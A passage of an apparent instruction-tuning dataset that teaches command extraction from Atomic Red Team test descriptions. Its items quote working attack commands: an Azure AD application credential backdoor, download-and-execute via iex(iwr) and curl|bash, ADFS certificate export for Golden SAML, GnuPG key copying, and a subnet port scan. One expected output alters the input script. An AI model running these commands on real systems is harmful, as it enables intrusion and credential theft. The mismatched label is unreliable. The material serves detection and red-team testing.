$tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n",
    "output": "{\"command_list\": [\"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential > $null\\n\\n$sp = Get-AzureADServicePrincipal -SearchString \\\"#{service_principal_name}\\\" | Select-Object -First 1\\nif ($sp -eq $null) { Write-Warning \\\"Service Principal not found\\\"; exit }\\n\\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\\n$credNotAfter = (Get-Date).AddDays(1)\\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\\n\\n$cert = New-SelfSignedCertificate -DnsName \\\"atomicredteam.example.com\\\" -FriendlyName \\\"AtomicCert\\\" -CertStoreLocation Cert:\\\\CurrentUser\\\\My -KeyExportPolicy Exportable -Provider \\\"Microsoft Enhanced RSA and AES Cryptographic Provider\\\" -NotAfter $certNotAfter\\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\\nWrite-Host \\\"Generated certificate \\\"\\\"$($cert.Thumbprint)\\\"\\\"\\\"\\n\\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \\\"AtomicTest\\\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\\n\\nStart-Sleep -s 30\\n$tenant = Get-AzureADTenantDetail\\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\\nWrite-Host \\\"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\\\"\\nWrite-Host \\\"End of Hijacking\\\"\\n\", \"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential > $null\\n\\n$app = Get-AzureADApplication -SearchString \\\"#{application_name}\\\" | Select-Object -First 1\\nif ($app -eq $null) { Write-Warning \\\"Application not found\\\"; exit }\\n\\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\\n$credNotAfter = (Get-Date).AddDays(1)\\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\\n\\n$cert = New-SelfSignedCertificate -DnsName \\\"atomicredteam.example.com\\\" -FriendlyName \\\"AtomicCert\\\" -CertStoreLocation Cert:\\\\CurrentUser\\\\My -KeyExportPolicy Exportable -Provider \\\"Microsoft Enhanced RSA and AES Cryptographic Provider\\\" -NotAfter $certNotAfter\\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\\nWrite-Host \\\"Generated certificate \\\"\\\"$($cert.Thumbprint)\\\"\\\"\\\"\\n\\nNew-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \\\"AtomicTest\\\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\\n\\nStart-Sleep -s 30\\n$tenant = Get-AzureADTenantDetail\\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint\\nWrite-Host \\\"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\\\"\\nWrite-Host \\\"End of Hijacking\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To compress collected data before exfiltration, use the following command: zip #{output_file} #{input_files}; To compress collected data before exfiltration, an adversary can use standard gzip compression with the following command: test -e #{input_file} && gzip -k #{input_file} || (echo '#{input_content}' >> #{input_file}; gzip -k #{input_file})\n",
    "output": "{\"command_list\": [\"zip #{output_file} #{input_files}\\n\", \"test -e #{input_file} && gzip -k #{input_file} || (echo '#{input_content}' >> #{input_file}; gzip -k #{input_file})\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Attackers often attempt to gather information about services running on remote hosts and local network devices by using the following command to scan for vulnerabilities: docker build -t t1046 $PathToAtomicsFolder/T1046/src/\ndocker run --name t1046_container --rm -d -t t1046\ndocker exec t1046_container /scan.sh; For scanning common ports across a /24 subnet, the script below can be used. It automatically detects the primary IPv4 address if none is specified, and includes a timeout parameter to speed up the scan: $ipAddr = \"#{ip_address}\"\nif ($ipAddr -like \"*,*\") {\n    $ip_list = $ipAddr -split \",\"\n    $ip_list = $ip_list.ForEach({ $_.Trim() })\n    Write-Host \"[i] IP Address List: $ip_list\"\n\n    $ports = #{port_list}\n\n    foreach ($ip in $ip_list) {\n        foreach ($port in $ports) {\n            Write-Host \"[i] Establishing connection to: $ip : $port\"\n            try {\n                $tcp = New-Object Net.Sockets.TcpClient\n                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\n            } catch {}\n            if ($tcp.Connected) {\n                $tcp.Close()\n                Write-Host \"Port $port is open on $ip\"\n            }\n        }\n    }\n} elseif ($ipAddr -notlike \"*,*\") {\n    if ($ipAddr -eq \"\") {\n        # Assumes the \"primary\" interface is shown at the top\n        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1\n        Write-Host \"[i] Using Interface $interface\"\n        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress\n    }\n    Write-Host \"[i] Base IP-Address for Subnet: $ipAddr\"\n    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.'))\n    # Always assumes /24 subnet\n    Write-Host \"[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'\"\n\n    $ports = #{port_list}\n    $subnetIPs = 1..254 | ForEach-Object { \"$subnetSubstring$_\" }\n\n    foreach ($ip in $subnetIPs) {\n        foreach ($port in $ports) {\n            try {\n                $tcp = New-Object Net.Sockets.TcpClient\n                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\n            } catch {}\n            if ($tcp.Connected) {\n                $tcp.Close()\n                Write-Host \"Port $port is open on $ip\"\n            }\n        }\n    }\n} else {\n    Write-Host \"[Error] Invalid Inputs\"\n    exit 1\n}",
    "output": "{\"command_list\": [\"docker build -t t1046 $PathToAtomicsFolder/T1046/src/\\ndocker run --name t1046_container --rm -d -t t1046\\ndocker exec t1046_container /scan.sh\", \"$ipAddr = \\\"#{ip_address}\\\"\\nif ($ipAddr -like \\\"*,*\\\") {\\n    $ip_list = $ipAddr -split \\\",\\\"\\n    $ip_list = $ip_list.ForEach({ $_.Trim() })\\n    Write-Host \\\"[i] IP Address List: $ip_list\\\"\\n\\n    $ports = #{port_list}\\n\\n    foreach ($ip in $ip_list) {\\n        foreach ($port in $ports) {\\n            Write-Host \\\"[i] Establishing connection to: $ip : $port\\\"\\n            try {\\n                $tcp = New-Object Net.Sockets.TcpClient\\n                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\\n            } catch {}\\n            if ($tcp.Connected) {\\n                $tcp.Close()\\n                Write-Host \\\"Port $port is open on $ip\\\"\\n            }\\n        }\\n    }\\n} elseif ($ipAddr -notlike \\\"*,*\\\") {\\n    if ($ipAddr -eq \\\"\\\") {\\n        # Assumes the \\\"primary\\\" interface is shown at the top\\n        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1\\n        Write-Host \\\"[i] Using Interface $interface\\\"\\n        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress\\n    }\\n    Write-Host \\\"[i] Base IP-Address for Subnet: $ipAddr\\\"\\n    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)\\n    # Always assumes /24 subnet\\n    Write-Host \\\"[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'\\\"\\n\\n    $ports = #{port_list}\\n    $subnetIPs = 1..254 | ForEach-Object { \\\"$subnetSubstring$_\\\" }\\n\\n    foreach ($ip in $subnetIPs) {\\n        foreach ($port in $ports) {\\n            try {\\n                $tcp = New-Object Net.Sockets.TcpClient\\n                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\\n            } catch {}\\n            if ($tcp.Connected) {\\n                $tcp.Close()\\n                Write-Host \\\"Port $port is open on $ip\\\"\\n            }\\n        }\\n    }\\n} else {\\n    Write-Host \\\"[Error] Invalid Inputs\\\"\\n    exit 1\\n}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To emulate the modification of auditd configuration files, use the following command: echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}\n; This script emulates syslog configuration changes with the following command:\nif [ -f \"/etc/#{syslog_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name}\nfi\nif [ -f \"/etc/#{rsyslog_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name}\nfi\nif [ -f \"/etc/syslog-ng/#{syslog_ng_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name}\nfi",
    "output": "{\"command_list\": [\"echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}\\n\", \"if [ -f \\\"/etc/#{syslog_config_file_name}\\\" ];\\nthen sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name}\\nfi\\nif [ -f \\\"/etc/#{rsyslog_config_file_name}\\\" ];\\nthen sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name}\\nfi\\nif [ -f \\\"/etc/syslog-ng/#{syslog_ng_config_file_name}\\\" ];\\nthen sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name}\\nfi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy the GnuPG directory from a FreeBSD system to a staging location, use the following command: mkdir #{output_folder}\nfind #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \\;; As part of preparing for a Golden SAML attack (T1606.002), you can retrieve the necessary ADFS certificates by executing this command when signed in as Administrator on an ADFS server: Import-Module AADInternals -Force\nExport-AADIntADFSCertificates\nGet-ChildItem | Where-Object {$_ -like \"ADFS*\"}\nWrite-Host \"`nCertificates retrieved successfully\"\n",
    "output": "{\"command_list\": [\"mkdir #{output_folder}\\nfind #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \\\\;\\n\", \"Import-Module AADInternals -Force\\nExport-AADIntADFSCertificates\\nGet-ChildItem | Where-Object {$_ -like \\\"ADFS*\\\"}\\nWrite-Host \\\"`nCertificates retrieved successfully\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A simple shell script can be created and executed by running the following sequence:\nsh -c \"echo 'echo Hello from the Atomic Red Team' > #{script_path}\"\nsh -c \"echo 'ping -c 4 #{host}' >> #{script_path}\"\nchmod +x #{script_path}\nsh #{script_path}; To download and execute a payload using Curl and Wget, which will also create a marker file in `/tmp/art-fish.txt`, run the following commands (note: piping to Bash is risky if you don't control the server):\ncurl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash\nwget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash\n",
    "output": "{\"command_list\": [\"sh -c \\\"echo 'echo Hello from the Atomic Red Team' > #{script_path}\\\"\\nsh -c \\\"echo 'ping -c 4 #{host}' >> #{script_path}\\\"\\nchmod +x #{script_path}\\nsh #{script_path}\\n\", \"curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash\\nwget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash\\n\"]}"
  },
  {
